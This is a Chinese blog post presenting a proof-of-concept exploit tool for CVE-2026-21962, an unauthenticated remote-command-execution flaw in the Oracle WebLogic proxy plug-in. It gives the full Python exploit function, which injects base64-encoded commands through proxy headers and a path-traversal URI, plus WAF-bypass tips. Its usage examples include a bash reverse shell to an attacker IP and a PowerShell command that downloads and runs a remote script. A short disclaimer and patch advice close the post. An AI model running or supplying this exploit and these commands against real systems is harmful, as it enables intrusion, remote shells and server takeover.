跳到主要内容
极客日志极客日志面向AI+效率的开发者社区
首页博客GitHub 精选镜像工具UI配色美学隐私政策关于联系
搜索内容 / 工具 / 仓库 / 镜像...⌘K搜索
注册
博客列表
Pythonjava

Oracle WebLogic 代理插件未授权 RCE 漏洞检测与分析

介绍针对 Oracle WebLogic Server 代理插件的 CVE-2026-21962 漏洞检测工具。该漏洞允许未授权远程命令执行(RCE),风险等级高。文章涵盖项目描述、功能特性、安装指南及核心代码解析。强调仅限授权测试,建议及时更新补丁并限制网络访问。

清心发布于 2026/4/5更新于 2026/5/2328 浏览

CVE-2026-21962 - Oracle WebLogic Server Proxy Plug-In RCE

项目描述

该项目提供了一个针对 Oracle WebLogic Server 代理插件(Proxy Plug-In)中一个关键安全漏洞(CVE-2026-21962)的漏洞利用概念验证(PoC)脚本。该漏洞允许未经验证的远程攻击者通过 HTTP 协议在受影响的服务器上执行任意操作系统命令,风险等级极高(CVSS 10.0)。

影响组件:

  • Oracle HTTP Server(版本 12.2.1.4.0、14.1.1.0.0、14.1.2.0.0)
  • Oracle WebLogic Server 代理插件(用于 Apache HTTP Server 和 Microsoft IIS)

功能特性

核心功能
  • 自动漏洞检测:通过多种常见路径(/weblogic/、/wl_proxy/、/bea_wls_internal/、/_proxy/、/proxy/)探测目标系统是否存在漏洞
  • 远程命令执行:能够执行用户指定的任意操作系统命令
  • Payload 编码:自动对 Payload 进行 Base64 编码,以绕过某些 WAF/过滤器
  • 多种攻击向量:支持通过不同 HTTP 头(WL-Proxy-Client-IP、Proxy-Client-IP、X-Forwarded-For)注入 Payload
高级特性
  • 跨平台支持:兼容 Linux/Unix 和 Windows 目标系统
  • 灵活 Payload:支持执行简单命令、复杂 Shell 脚本或 PowerShell 命令
  • 输出解析:自动提取并显示命令执行结果
  • 错误处理:完善的异常处理和超时控制机制
检测能力
  • 支持通过 HTTP 状态码(200、302、500)判断漏洞存在性
  • 能够捕获并显示命令执行的输出结果
  • 提供详细的调试信息和错误报告

安装指南

环境要求
  • Python 3.x:确保系统已安装 Python 3
  • 依赖库:需要安装 requests 库
  • 操作系统:支持 Linux、macOS 和 Windows
安装步骤

设置执行权限(可选)

chmod +x CVE-2026-21962.py 

安装 Python 依赖

pip install requests 

克隆或下载项目文件

git clone https://github.com/Ashwesker/Ashwesker-CVE-2026-21962.git
cd Ashwesker-CVE-2026-21962 
验证安装

运行以下命令验证安装是否成功:

python3 CVE-2026-21962.py --help 

如果看到帮助信息,说明安装成功。

使用说明

基础使用
基本语法
python3 CVE-2026-21962.py <target_url> "<command>"
参数说明
  • target_url:目标服务器的 URL(例如:http://target:7001 或 https://oracle-server:4443)
  • command:要执行的命令(例如:id、whoami或反向 Shell 命令)
使用示例
1. 基本信息收集

执行系统命令来验证漏洞:

python3 CVE-2026-21962.py http://target:7001 "id && whoami && uname -a"
2. 获取文件系统信息
python3 CVE-2026-21962.py http://target:7001 "ls -la / && df -h"
3. 反向 Shell(Linux 目标)

首先在攻击机启动监听:

nc -lvnp 4444

然后执行漏洞利用:

python3 CVE-2026-21962.py http://target:7001 "bash -i >& /dev/tcp/YOUR_IP/4444 0>&1"
4. Windows 目标利用
python3 CVE-2026-21962.py https://oracle-server:4443 "powershell -nop -c IEX (New-Object Net.WebClient).DownloadString('http://your-server/shell.ps1')"
输出说明
  • 成功迹象:HTTP 状态码为 200、302 或 500
  • 命令输出:如果命令有输出,会显示前 1500 个字符
  • 静默执行:如果命令执行成功但没有输出,会显示相应提示
注意事项
  1. 目标端口:通常 WebLogic 服务运行在 7001 端口,HTTPS 服务可能运行在 4443 端口
  2. SSL 证书:对于自签名证书的目标,可能需要禁用 SSL 验证
  3. 路径探测:工具会自动尝试多个常见代理插件路径
  4. WAF 绕过:使用 Base64 编码和多种 HTTP 头尝试绕过防护

核心代码

主漏洞利用函数
def exploit(target_url, command):
    # 漏洞利用端点(常见代理插件路径)
    vuln_paths = ["/weblogic/", "/wl_proxy/", "/bea_wls_internal/", "/_proxy/", "/proxy/"]
    
    # 构造触发反序列化/命令注入的恶意头部
    # 实际触发使用特制的 WL-Proxy-Client-IP 或类似头部
    # 结合绕过验证的特制 URI
    payload = f"cmd:{command}"
    
    # Base64 编码 Payload 以绕过 WAF/过滤器
    encoded_payload = base64.b64encode(payload.encode()).decode()
    
    # 构造恶意 HTTP 头部
    headers = {
        "WL-Proxy-Client-IP": f"127.0.0.1;{encoded_payload}",
        "Proxy-Client-IP": f"127.0.0.1;{encoded_payload}",
        "X-Forwarded-For": f"127.0.0.1;{encoded_payload}",
        "User-Agent": "Mozilla/5.0 (compatible; Exploit/1.0)",
        "Accept": "*/*",
        "Connection": "close"
    }
    
    # 触发插件漏洞的特制 URI
    uri = "/weblogic/..;/bea_wls_internal/ProxyServlet"
    
    # 尝试所有可能的漏洞路径
    for base_path in vuln_paths:
        full_url = f"{target_url.rstrip('/')}{base_path}{uri}"
        print(f"[*] 尝试路径:{full_url}")
        print(f"[*] 执行命令:{command}")
        try:
            # 使用 GET 请求,某些配置下 POST 也可用
            r = requests.get(full_url, headers=headers, timeout=12, verify=False, allow_redirects=False)
            # 根据 HTTP 状态码判断是否成功
            if r.status_code in [200, 302, 500]:
                print(f"[+] 可能成功!状态码:{r.status_code}")
                if r.text.strip():
                    print("\n可能的命令输出/响应:\n" + "-" * 60)
                    print(r.text[:1500]) # 显示前 1500 字符避免信息过多
                    print("-" * 60)
                else:
                    print("[+] 命令静默执行(无输出)")
                return True
            else:
                print(f"[-] 状态码 {r.status_code} - 此路径无漏洞")
        except Exception as e:
            print(f"[-] 路径 {full_url} 错误:{e}")
    
    print("\n[-] 所有路径测试完成 - 目标可能无漏洞或插件未暴露。")
    return False
命令行参数解析
if __name__ == "__main__":
    # 创建参数解析器
    parser = argparse.ArgumentParser(description="CVE-2026-21962 PoC - Oracle WebLogic Proxy Plug-In RCE")
    # 目标 URL 参数
    parser.add_argument("target", help="目标 URL (例如 http://target:7001 或 https://oracle-server:4443)")
    # 命令参数
    parser.add_argument("cmd", help="要执行的命令 (例如 'id' 或 'whoami' 或 'powershell -c ...' 或 'bash -i >& /dev/tcp/攻击者 IP/4444 0>&1')")
    # 解析参数并执行漏洞利用
    args = parser.parse_args()
    exploit(args.target, args.cmd)
漏洞检测逻辑
# 漏洞检测的核心逻辑
# 1. 构造包含恶意命令的 Payload
# 2. 使用 Base64 编码绕过基本防护
# 3. 通过多个 HTTP 头部字段注入 Payload
# 4. 使用路径遍历技术访问代理 Servlet
# 5. 分析响应判断漏洞是否存在
# 关键点:
# - 使用分号分隔 IP 地址和命令 Payload
# - 尝试多个可能的代理插件路径
# - 支持 HTTP 和 HTTPS 协议
# - 包含完善的超时和错误处理
安全注意事项
# 重要安全提示:
# 1. 此工具仅用于授权的安全测试
# 2. 在非授权系统上使用是非法的
# 3. 使用前需获得明确书面授权
# 4. 遵守所有适用法律法规
# 技术建议:
# 1. 及时应用 Oracle 2026 年 1 月关键补丁更新
# 2. 限制对受影响服务的网络访问
# 3. 监控 HTTP 流量中的可疑行为
# 4. 定期审查系统日志和安全控制措施
版本兼容性

该工具设计用于以下受影响版本:

  • Oracle HTTP Server: 12.2.1.4.0, 14.1.1.0.0, 14.1.2.0.0
  • WebLogic Proxy Plug-in for Apache/IIS

免责声明: 所有 PoC 代码仅供道德、授权测试和教育目的使用。未经授权的利用是非法的,作者不承担任何滥用责任。

目录

  1. CVE-2026-21962 - Oracle WebLogic Server Proxy Plug-In RCE
  2. 项目描述
  3. 功能特性
  4. 核心功能
  5. 高级特性
  6. 检测能力
  7. 安装指南
  8. 环境要求
  9. 安装步骤
  10. 验证安装
  11. 使用说明
  12. 基础使用
  13. 基本语法
  14. 参数说明
  15. 使用示例
  16. 1. 基本信息收集
  17. 2. 获取文件系统信息
  18. 3. 反向 Shell(Linux 目标)
  19. 4. Windows 目标利用
  20. 输出说明
  21. 注意事项
  22. 核心代码
  23. 主漏洞利用函数
  24. 命令行参数解析
  25. 漏洞检测逻辑
  26. 漏洞检测的核心逻辑
  27. 1. 构造包含恶意命令的 Payload
  28. 2. 使用 Base64 编码绕过基本防护
  29. 3. 通过多个 HTTP 头部字段注入 Payload
  30. 4. 使用路径遍历技术访问代理 Servlet
  31. 5. 分析响应判断漏洞是否存在
  32. 关键点:
  33. - 使用分号分隔 IP 地址和命令 Payload
  34. - 尝试多个可能的代理插件路径
  35. - 支持 HTTP 和 HTTPS 协议
  36. - 包含完善的超时和错误处理
  37. 安全注意事项
  38. 重要安全提示:
  39. 1. 此工具仅用于授权的安全测试
  40. 2. 在非授权系统上使用是非法的
  41. 3. 使用前需获得明确书面授权
  42. 4. 遵守所有适用法律法规
  43. 技术建议:
  44. 1. 及时应用 Oracle 2026 年 1 月关键补丁更新
  45. 2. 限制对受影响服务的网络访问
  46. 3. 监控 HTTP 流量中的可疑行为
  47. 4. 定期审查系统日志和安全控制措施
  48. 版本兼容性
  • 💰 8折买阿里云服务器限时8折了解详情
  • Magick API 一键接入全球大模型注册送1000万token查看
  • 🤖 一键搭建Deepseek满血版了解详情
  • 一键打造专属AI 智能体了解详情
极客日志微信公众号二维码

微信扫一扫,关注极客日志

微信公众号「极客日志V2」,在微信中扫描左侧二维码关注。展示文案:极客日志V2 zeeklog

更多推荐文章

查看全部
  • Whisper Large v3 多语言语音识别 Web 服务部署实战
  • Web Unlocker API 实战:AI 训练数据集自动化获取方案
  • 跨平台文件传输:WebDAV + Rclone
  • Flutter for OpenHarmony:使用 money2 实现高精度金融计算
  • 网络爬虫全景:技术体系、反爬对抗与全链路成本分析
  • 零依赖纯前端 AI 辅助病例管理系统:无后端实现诊疗行为核验
  • YOLO26-Pose 零样本姿态估计技术解析与实战
  • Dify Web 前端二次开发:隐藏探索功能与替换 Logo
  • GitHub Copilot 在 Web 开发中的 20 个高效用法
  • 星辰 RPA 实现小红书自动发文机器人
  • 前端表单验证策略与最佳实践
  • 安卓手机使用 Termux 部署 AstrBot 与 NapCat 搭建 QQ 机器人
  • OpenClaw 中 web_search 与 web_fetch 最佳实践速查表
  • Python 调用 Sambert API:语音合成函数封装最佳实践
  • Ubuntu 22.04 安装与配置 Openclaw 教程
  • LTX-2模型本地化部署与ComfyUI使用指南
  • 使用 DeepSeek 构建高性能贪吃蛇游戏实战
  • 元气 AI Bot 安装部署与飞书集成使用指南
  • Stable Diffusion 推出动画生成工具包,支持多模态输入与十五种风格预设
  • HTML5 Web Workers 详解:利用后台线程优化页面性能

相关免费在线工具

  • Keycode 信息

    查找任何按下的键的javascript键代码、代码、位置和修饰符。 在线工具,Keycode 信息在线工具,online

  • Escape 与 Native 编解码

    JavaScript 字符串转义/反转义;Java 风格 \uXXXX(Native2Ascii)编码与解码。 在线工具,Escape 与 Native 编解码在线工具,online

  • JavaScript / HTML 格式化

    使用 Prettier 在浏览器内格式化 JavaScript 或 HTML 片段。 在线工具,JavaScript / HTML 格式化在线工具,online

  • JavaScript 压缩与混淆

    Terser 压缩、变量名混淆,或 javascript-obfuscator 高强度混淆(体积会增大)。 在线工具,JavaScript 压缩与混淆在线工具,online

  • curl 转代码

    解析常见 curl 参数并生成 fetch、axios、PHP curl 或 Python requests 示例代码。 在线工具,curl 转代码在线工具,online

  • Base64 字符串编码/解码

    将字符串编码和解码为其 Base64 格式表示形式即可。 在线工具,Base64 字符串编码/解码在线工具,online